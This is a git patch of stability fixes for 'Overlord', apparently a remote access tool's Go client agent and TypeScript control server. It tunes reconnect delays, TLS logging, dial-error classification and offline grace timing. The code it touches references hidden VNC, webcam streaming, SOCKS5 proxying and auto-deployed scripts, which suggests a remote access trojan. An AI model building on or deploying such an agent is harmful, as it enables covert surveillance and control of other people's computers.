From c71af228b44114603806228298fef1378afb4190 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 4 May 2026 09:58:59 -0500 Subject: [PATCH] stability fixes --- Overlord-Client/cmd/agent/session.go | 84 +++++++---- .../cmd/agent/session_helpers_test.go | 4 +- .../src/server/maintenance-loops.ts | 16 ++- .../routes/websocket-lifecycle-routes.ts | 136 +++++++++++++----- .../src/server/runtime-constants.ts | 2 +- Overlord-Server/src/types.ts | 1 + Overlord-Server/src/wsHandlers.ts | 7 +- 7 files changed, 174 insertions(+), 76 deletions(-) diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 335baef..bc8a210 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -9,6 +9,7 @@ import ( "fmt" "log" "math/rand" + "net" "net/http" "os" "path/filepath" @@ -69,12 +70,10 @@ func runClient(cfg config.Config) { } } - tlsMinVersion := uint16(tls.VersionTLS12) - transport := createHTTPTransport(cfg, tlsMinVersion) + transport := createHTTPTransport(cfg) currentIndex := cfg.ServerIndex consecutiveFailures := 0 - // idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections. - allowTLSDowngrade := false + var loggedTLS bool var lastDisconnect time.Time var lastSolRefresh time.Time solInitialWait := 2 * time.Minute @@ -98,9 +97,9 @@ func runClient(cfg config.Config) { } log.Printf("connecting to %s%s (TLS verify: %v)", currentServer, serverInfo, !cfg.TLSInsecureSkipVerify) - conn, _, err := websocket.Dial(ctx, url, opts) + conn, resp, err := websocket.Dial(ctx, url, opts) if err != nil { - log.Printf("dial failed: %v (retrying in %s)", err, backoff) + log.Printf("dial failed [%s]: %v (retrying in %s)", classifyDialError(err), err, backoff) consecutiveFailures++ if lastDisconnect.IsZero() { lastDisconnect = time.Now() @@ -135,17 +134,21 @@ func runClient(cfg config.Config) { lastDisconnect = time.Time{} // reset — we're connected log.Printf("connected successfully to %s%s", currentServer, serverInfo) + if !loggedTLS && resp != nil && resp.TLS != nil { + log.Printf( + "[TLS] handshake ok: version=%s cipher=%s server=%s", + tls.VersionName(resp.TLS.Version), + tls.CipherSuiteName(resp.TLS.CipherSuite), + resp.TLS.ServerName, + ) + loggedTLS = true + } + conn.SetReadLimit(8 * 1024 * 1024) var sessionErr error if err := runSession(ctx, cancel, conn, cfg); err != nil { sessionErr = err - if allowTLSDowngrade && isTLSVersionError(err) { - log.Printf("[TLS] remote rejected TLS version; downgrading to TLS 1.0 for compatibility") - tlsMinVersion = uint16(tls.VersionTLS10) - transport = createHTTPTransport(cfg, tlsMinVersion) - allowTLSDowngrade = false - } log.Printf("session ended: %v (retrying in %s)", err, backoff) lastDisconnect = time.Now() @@ -322,10 +325,10 @@ func equalStringSlices(a, b []string) bool { return true } -func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport { +func createHTTPTransport(cfg config.Config) *http.Transport { tlsConfig := &tls.Config{ InsecureSkipVerify: cfg.TLSInsecureSkipVerify, - MinVersion: minVersion, + MinVersion: tls.VersionTLS12, } if cfg.TLSCAPath != "" { @@ -359,16 +362,49 @@ func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport { transport := http.DefaultTransport.(*http.Transport).Clone() transport.TLSClientConfig = tlsConfig + transport.DialContext = (&net.Dialer{ + Timeout: 30 * time.Second, + KeepAlive: 15 * time.Second, + }).DialContext return transport } -func isTLSVersionError(err error) bool { +func classifyDialError(err error) string { if err == nil { - return false + return "" } msg := strings.ToLower(err.Error()) - return strings.Contains(msg, "protocol version not supported") || - strings.Contains(msg, "tls: protocol version not supported") + switch { + case strings.Contains(msg, "x509:"), + strings.Contains(msg, "certificate signed by"), + strings.Contains(msg, "certificate has expired"), + strings.Contains(msg, "certificate is not valid"), + strings.Contains(msg, "unknown authority"): + return "TLS:cert" + case strings.Contains(msg, "protocol version"), + strings.Contains(msg, "tls: no application protocol"): + return "TLS:version" + case strings.Contains(msg, "no cipher suite"), + strings.Contains(msg, "handshake failure"): + return "TLS:cipher" + case strings.Contains(msg, "tls:"), + strings.Contains(msg, "remote error: tls"): + return "TLS" + case strings.Contains(msg, "no such host"): + return "DNS" + case strings.Contains(msg, "connection refused"): + return "refused" + case strings.Contains(msg, "i/o timeout"), + strings.Contains(msg, "context deadline exceeded"): + return "timeout" + case strings.Contains(msg, "no route to host"), + strings.Contains(msg, "network is unreachable"): + return "unreachable" + case strings.Contains(msg, "expected handshake response status code"), + strings.Contains(msg, "unexpected http response"): + return "http" + } + return "network" } func computeBaseBackoff() time.Duration { @@ -380,12 +416,12 @@ func computeBaseBackoff() time.Duration { func reconnectDelay() time.Duration { raw := strings.TrimSpace(os.Getenv("OVERLORD_RECONNECT_DELAY_MS")) if raw == "" { - return randomReconnectDelay(10*time.Second, 30*time.Second) + return randomReconnectDelay(1*time.Second, 3*time.Second) } ms, err := strconv.Atoi(raw) if err != nil || ms < 0 { - log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 10-30s", raw) - return randomReconnectDelay(10*time.Second, 30*time.Second) + log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 1-3s", raw) + return randomReconnectDelay(1*time.Second, 3*time.Second) } if ms == 0 { return 0 @@ -699,9 +735,9 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. } }) goSafe("pong watchdog", cancel, func() { - grace := interval + (10 * time.Second) - if grace < 20*time.Second { - grace = 20 * time.Second + grace := interval*3 + (30 * time.Second) + if grace < 90*time.Second { + grace = 90 * time.Second } ticker := time.NewTicker(interval) defer ticker.Stop() diff --git a/Overlord-Client/cmd/agent/session_helpers_test.go b/Overlord-Client/cmd/agent/session_helpers_test.go index 1d748d0..01312af 100644 --- a/Overlord-Client/cmd/agent/session_helpers_test.go +++ b/Overlord-Client/cmd/agent/session_helpers_test.go @@ -69,8 +69,8 @@ func TestReconnectDelay_Custom(t *testing.T) { func TestReconnectDelay_Invalid(t *testing.T) { withEnv("OVERLORD_RECONNECT_DELAY_MS", "bad", func() { delay := reconnectDelay() - if delay < 10*time.Second || delay > 30*time.Second { - t.Fatalf("expected 10-30s, got %s", delay) + if delay < 1*time.Second || delay > 3*time.Second { + t.Fatalf("expected 1-3s, got %s", delay) } }) } diff --git a/Overlord-Server/src/server/maintenance-loops.ts b/Overlord-Server/src/server/maintenance-loops.ts index 0859192..9330cc5 100644 --- a/Overlord-Server/src/server/maintenance-loops.ts +++ b/Overlord-Server/src/server/maintenance-loops.ts @@ -24,16 +24,20 @@ export function startMaintenanceLoops(params: StartMaintenanceParams): void { }); }, 5000); + const livenessTimeoutMs = Math.max( + params.heartbeatIntervalMs * 4 + params.disconnectTimeoutMs, + 60_000, + ); + setInterval(() => { const now = Date.now(); for (const [id, info] of params.getClients().entries()) { if (info.role !== "client") continue; - if ( - info.lastPingNonce !== undefined && - info.lastPingSent && - now - info.lastPingSent > params.heartbeatIntervalMs + params.disconnectTimeoutMs - ) { - logger.warn(`[ping] no pong from ${id} within timeout; closing socket`); + const lastActivity = info.lastSeen || 0; + if (lastActivity && now - lastActivity > livenessTimeoutMs) { + logger.warn( + `[ping] no activity from ${id} for ${now - lastActivity}ms; closing socket`, + ); try { info.ws.close(4001, "ping timeout"); } catch (err) { diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 8d3fd26..4e1e5b2 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -20,6 +20,67 @@ import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation"; import { stopAllProxiesForClient } from "../socks5-proxy-manager"; +const OFFLINE_GRACE_MS = (() => { + const raw = process.env.OVERLORD_OFFLINE_GRACE_MS; + if (raw === undefined || raw === "") return 7_000; + const n = Number(raw); + if (!Number.isFinite(n) || n < 0) return 7_000; + return Math.floor(n); +})(); + +type ClientLifecyclePayload = { + id: string; + host?: string; + user?: string; + os?: string; + ip?: string; + country?: string; +}; + +type PendingOffline = { + timer: ReturnType; +}; + +const pendingOffline = new Map(); + +function cancelPendingOffline(clientId: string): boolean { + const pending = pendingOffline.get(clientId); + if (!pending) return false; + clearTimeout(pending.timer); + pendingOffline.delete(clientId); + return true; +} + +function schedulePendingOffline( + clientId: string, + payload: ClientLifecyclePayload, + disconnectReason: string | undefined, + disconnectDetail: string | undefined, + deps: WsLifecycleDeps, +): void { + cancelPendingOffline(clientId); + + if (OFFLINE_GRACE_MS <= 0) { + deps.notifyDashboardClientEvent("client_offline", payload); + deps.broadcastClientEvent("client_offline", payload); + setOnlineState(clientId, false, disconnectReason, disconnectDetail); + deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected"); + deps.notifyDashboard(); + return; + } + + const timer = setTimeout(() => { + pendingOffline.delete(clientId); + deps.notifyDashboardClientEvent("client_offline", payload); + deps.broadcastClientEvent("client_offline", payload); + setOnlineState(clientId, false, disconnectReason, disconnectDetail); + deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected"); + deps.notifyDashboard(); + }, OFFLINE_GRACE_MS); + + pendingOffline.set(clientId, { timer }); +} + type PendingScript = { timeout: ReturnType; resolve: (value: { ok?: boolean; result?: string; error?: string }) => void; @@ -457,26 +518,30 @@ export async function handleWebSocketMessage( await handleHello(infoObj, payload, ws, ip); clientManager.addClient(infoObj.id, infoObj); + const reconnectedWithinGrace = cancelPendingOffline(infoObj.id); + deps.dispatchAutoScriptsForConnection(infoObj, ws); deps.dispatchAutoDeploysForConnection(infoObj, ws); deps.dispatchAutoLoadPlugins(infoObj); deps.notifyDashboard(); - deps.notifyDashboardClientEvent("client_online", { - id: infoObj.id, - host: infoObj.host, - user: infoObj.user, - os: infoObj.os, - ip: infoObj.ip, - country: infoObj.country, - }); - deps.broadcastClientEvent("client_online", { - id: infoObj.id, - host: infoObj.host, - user: infoObj.user, - os: infoObj.os, - ip: infoObj.ip, - country: infoObj.country, - }); + if (!reconnectedWithinGrace) { + deps.notifyDashboardClientEvent("client_online", { + id: infoObj.id, + host: infoObj.host, + user: infoObj.user, + os: infoObj.os, + ip: infoObj.ip, + country: infoObj.country, + }); + deps.broadcastClientEvent("client_online", { + id: infoObj.id, + host: infoObj.host, + user: infoObj.user, + os: infoObj.os, + ip: infoObj.ip, + country: infoObj.country, + }); + } if (infoObj.role === "client") { deps.notifyRemoteDesktopStatus(resolvedId, "online"); metrics.recordConnection(); @@ -802,25 +867,6 @@ export function handleWebSocketClose( return; } - if (role === "client" && currentClient) { - deps.notifyDashboardClientEvent("client_offline", { - id: clientId, - host: currentClient.host, - user: currentClient.user, - os: currentClient.os, - ip: currentClient.ip, - country: currentClient.country, - }); - deps.broadcastClientEvent("client_offline", { - id: clientId, - host: currentClient.host, - user: currentClient.user, - os: currentClient.os, - ip: currentClient.ip, - country: currentClient.country, - }); - } - const storedDisconnectReason = ws.data.disconnectReason; const storedDisconnectDetail = ws.data.disconnectDetail; @@ -828,7 +874,6 @@ export function handleWebSocketClose( stopAllProxiesForClient(clientId); clearClientSyncState(clientId); deps.notifyConsoleClosed(clientId, "Client disconnected"); - setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail); deps.clearPendingNotificationScreenshots(clientId); deps.clearClientPluginState(clientId); for (const [cmdId, pending] of deps.pendingScripts) { @@ -848,11 +893,26 @@ export function handleWebSocketClose( deps.rdStreamingState.delete(clientId); deps.hvncStreamingState.delete(clientId); deps.webcamStreamingState.delete(clientId); - deps.notifyDashboard(); logger.info(`[close] ${clientId} code=${code} reason=${reason} disconnect_reason=${storedDisconnectReason || "unknown"}`); + if (role === "client" && currentClient) { + schedulePendingOffline( + clientId, + { + id: clientId, + host: currentClient.host, + user: currentClient.user, + os: currentClient.os, + ip: currentClient.ip, + country: currentClient.country, + }, + storedDisconnectReason, + storedDisconnectDetail, + deps, + ); + } + if (role === "client") { - deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected"); metrics.recordDisconnection(); logAudit({ timestamp: Date.now(), diff --git a/Overlord-Server/src/server/runtime-constants.ts b/Overlord-Server/src/server/runtime-constants.ts index 6544080..e9d46a5 100644 --- a/Overlord-Server/src/server/runtime-constants.ts +++ b/Overlord-Server/src/server/runtime-constants.ts @@ -1,5 +1,5 @@ export const HEARTBEAT_INTERVAL_MS = 15_000; -export const STALE_MS = 5 * 60_000; +export const STALE_MS = 90_000; export const DISCONNECT_TIMEOUT_MS = 10_000; export const PRUNE_BATCH = Number(process.env.PRUNE_BATCH || 500); diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts index 5a7a24b..4fc89a7 100644 --- a/Overlord-Server/src/types.ts +++ b/Overlord-Server/src/types.ts @@ -9,6 +9,7 @@ export type ClientInfo = { ws: any; lastPingSent?: number; lastPingNonce?: number; + lastPongAt?: number; online?: boolean; hwid?: string; ip?: string; diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index d222508..dc11c04 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -207,11 +207,7 @@ export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) { export function sendPingRequest(info: ClientInfo, ws: any, reason: string) { const now = Date.now(); - if ( - info.lastPingNonce !== undefined && - info.lastPingSent && - now-info.lastPingSent < MAX_PING_RTT_MS - ) { + if (info.lastPingSent && now - info.lastPingSent < 1_000) { return; } const nonce = now + Math.floor(Math.random() * 1000); @@ -245,6 +241,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) { const nowTs = Date.now(); info.lastSeen = nowTs; + info.lastPongAt = nowTs; info.online = true; info.lastPingNonce = undefined;